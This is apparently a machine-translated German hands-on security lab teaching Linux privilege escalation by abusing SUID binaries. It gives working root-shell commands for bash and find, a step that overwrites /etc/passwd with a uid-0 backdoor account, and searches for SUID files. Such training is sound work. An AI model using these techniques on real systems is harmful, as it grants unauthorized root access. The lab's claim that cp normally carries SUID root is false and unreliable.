SUID-Binärdateien zur Privilegienerweiterung in Linux ausnutzen

NmapNmapBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie über die SUID (Set user ID upon execution, Benutzer-ID beim Ausführen setzen) -Berechtigung und wie Sie diese für die Privilegierhöhung auf Linux-Systemen nutzen können. Das Ziel besteht darin, Root-Zugang zu erhalten, indem Sie SUID-Binaries mit verschiedenen Techniken ausnutzen, einschließlich der Verwendung der Befehle bash, find, cp und mv.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/save_output -.-> lab-416147{{"SUID-Binärdateien zur Privilegienerweiterung in Linux ausnutzen"}} end

Das Verständnis von SUID

In diesem Schritt werden Sie das Konzept der SUID-Berechtigung und ihre Auswirkungen verstehen.

Normalerweise wird ein Programm auf Linux mit den Rechten des aktuellen Benutzers ausgeführt. Einige Programme wie cp benötigen jedoch erhöhte Privilegien, um bestimmte Operationen auszuführen, wie z. B. das Kopieren von Dateien in eingeschränkte Verzeichnisse. Um gewöhnlichen Benutzern zu ermöglichen, solche Programme mit erhöhten Privilegien auszuführen, kann die SUID-Berechtigung für die ausführbare Datei festgelegt werden.

SUID steht für "Set user ID upon execution" (Benutzer-ID beim Ausführen setzen). Wenn eine Datei die SUID-Berechtigung hat, wird sie mit den Rechten ihres Besitzers ausgeführt, unabhängig davon, welcher Benutzer sie ausführt. Beispielsweise wird der Befehl cp vom Root-Benutzer besessen und hat das SUID-Bit gesetzt, sodass jeder Benutzer ihn mit Root-Rechten ausführen kann.

Um die SUID-Berechtigung für den Befehl cp zu überprüfen und die Ausgabe in einer Datei zu speichern, führen Sie den folgenden Befehl aus:

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

Zeigen Sie den Inhalt der Datei suid_cp.txt mit dem folgenden Befehl an:

cat /home/labex/project/suid_cp.txt

Erwartete Ausgabe:

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

Sie sollten ein s in den Berechtigungsbits sehen, was auf die SUID-Berechtigung hinweist.

Während SUID nützlich sein kann, um gewöhnlichen Benutzern das Ausführen bestimmter privilegierter Befehle zu ermöglichen, kann es auch ausgenutzt werden, wenn das SUID-Binary Funktionen zum Ausführen von Systembefehlen oder zum Ändern von Dateien bietet.

Ausnutzen von SUID mit bash

In diesem Schritt lernen Sie, wie Sie den bash-Befehl mit SUID-Berechtigung für die Privilegierhöhung ausnutzen können.

  1. Öffnen Sie zunächst ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project.

    cd /home/labex/project

    Überprüfen Sie die Berechtigungen des bash-Befehls.

    ls -l /bin/bash

    Erwartete Ausgabe:

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
  2. Wenn der bash-Befehl das SUID-Bit gesetzt hat, können Sie ihn nutzen, um Systembefehle mit Root-Rechten auszuführen, indem Sie den folgenden Befehl verwenden:

    bash -p

    Mit whoami können Sie überprüfen, dass Sie eine Root-Shell haben.

    whoami

    Erwartete Ausgabe:

    root
  3. Jetzt können Sie eine Datei namens root.txt im Verzeichnis /root erstellen und den Inhalt der Datei überprüfen.

    touch /root/root.txt

    Sie sollten die Datei root.txt im Verzeichnis /root sehen.

Ausnutzen von SUID mit find

In diesem Schritt lernen Sie, wie Sie den find-Befehl mit SUID-Berechtigung für die Privilegierhöhung ausnutzen können.

Nach dem letzten Schritt sollten Sie eine Root-Shell haben. Für diesen Schritt müssen Sie sich aus der Root-Shell abmelden und erneut als Benutzer labex anmelden, indem Sie den Befehl exit verwenden oder ein neues Terminal öffnen.

  1. Navigieren Sie zunächst in das Verzeichnis /home/labex/project:

    cd /home/labex/project

    Überprüfen Sie die Berechtigungen des find-Befehls:

    ls -l /usr/bin/find

    Wenn der find-Befehl das SUID-Bit gesetzt hat, können Sie ihn nutzen, um Systembefehle mit Root-Rechten auszuführen.

  2. Die Syntax zum Ausführen eines Befehls mit find lautet:

    find < file > -exec < command > \;

    Hier kann <file> jede beliebige Datei sein. Erstellen Sie eine Datei namens test:

    touch test
  3. Jetzt können Sie Befehle mit find ausführen:

    find test -exec whoami \;

    Dadurch wird der Befehl whoami mit Root-Rechten ausgeführt. Diese Methode ist jedoch nicht praktisch für interaktive Befehle wie ssh oder su.

  4. Um eine praktischere Root-Shell zu erhalten, können Sie den Befehl /bin/bash ausführen:

    find test -exec /bin/bash -p \;

    Hinweis: Die Option -p ist erforderlich, um die effektive Benutzer-ID (EUID) beizubehalten und zu verhindern, dass sie auf die reale Benutzer-ID (RUID) zurückgesetzt wird.

  5. Sie sollten jetzt eine Root-Shell haben. Erstellen Sie eine Datei namens root.txt im Verzeichnis /root und überprüfen Sie den Inhalt der Datei:

    touch /root/root.txt

    Sie sollten die Datei root.txt im Verzeichnis /root sehen.

Ausnutzen von SUID mit cp und mv

In diesem Schritt lernen Sie, wie Sie die Befehle cp und mv mit SUID-Berechtigung für die Privilegierhöhung ausnutzen können, indem Sie die Datei /etc/passwd oder /etc/shadow ändern.

Nach dem letzten Schritt sollten Sie eine Root-Shell haben. Für diesen Schritt müssen Sie sich aus der Root-Shell abmelden und erneut als Benutzer labex anmelden, indem Sie den Befehl exit verwenden oder ein neues Terminal öffnen.

  1. Navigieren Sie zunächst in das Verzeichnis /home/labex/project:

    cd /home/labex/project

    Überprüfen Sie die Berechtigungen des cp-Befehls:

    ls -l /bin/cp

    Wenn der cp-Befehl das SUID-Bit gesetzt hat, können Sie mit der Ausnutzung fortfahren.

  2. Kopieren Sie den Inhalt der Datei /etc/passwd in eine Datei in Ihrem Home-Verzeichnis:

    cat /etc/passwd > /home/labex/project/passwd
  3. Erstellen Sie einen neuen Benutzer-Eintrag mit den folgenden Details:

  • Benutzername: hacked

  • Passwort: pass123

    Fügen Sie die folgende Zeile am Ende der Datei /home/labex/project/passwd ein:

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
  1. Verwenden Sie jetzt den cp-Befehl mit SUID-Berechtigung, um die Datei /etc/passwd zu überschreiben:

    cp /home/labex/project/passwd /etc/passwd
  2. Nach dem Überschreiben der Datei können Sie mit dem Befehl su zum Benutzer hacked mit dem Passwort pass123 wechseln:

    su hacked

Da der Benutzer hacked eine Benutzer-ID (uid) von 0 hat, haben Sie Root-Rechte.

Die Ausnutzungsmethode für den mv-Befehl ist ähnlich wie für cp. Sie können es selbst ausprobieren.

Finden von SUID-Binaries

In diesem Schritt lernen Sie, wie Sie auf einem System SUID-Binaries finden können, die möglicherweise für die Privilegierhöhung ausgenutzt werden können.

  1. Sie können die folgenden Befehle verwenden, um alle ausführbaren Dateien mit gesetztem SUID-Bit aufzulisten:

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
  2. Navigieren Sie in das Verzeichnis /home/labex/project, um die folgenden Schritte auszuführen.

    cd /home/labex/project
  3. Wählen Sie einen der Befehle aus, um die SUID-Binaries auf dem System aufzulisten und analysieren Sie die Ausgabe.

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt

    Überprüfen Sie den Inhalt der Datei check_results.txt, um die Liste der SUID-Binaries auf dem System anzuzeigen.

    cat check_results.txt

    Die Ausgabe kann jedoch viele Dateien enthalten, die nicht für die Privilegierhöhung ausgenutzt werden können und daher manuell analysiert werden müssen.

Zusammenfassung

In diesem Lab haben Sie sich mit der SUID-Berechtigung (Set User ID) vertraut gemacht und gelernt, wie Sie verschiedene SUID-Binaries wie bash, find, cp und mv auf Linux-Systemen für die Privilegierhöhung nutzen können. Sie haben praktische Erfahrungen in der Ausnutzung dieser Binaries gesammelt, um Root-Zugang zu erhalten, was eine entscheidende Fähigkeit auf dem Gebiet der Cybersicherheit ist. Das Lab bot ein praktisches Szenario und führte Sie Schritt für Schritt durch die Vorgehensweise, um die Techniken effektiv zu verstehen und anzuwenden.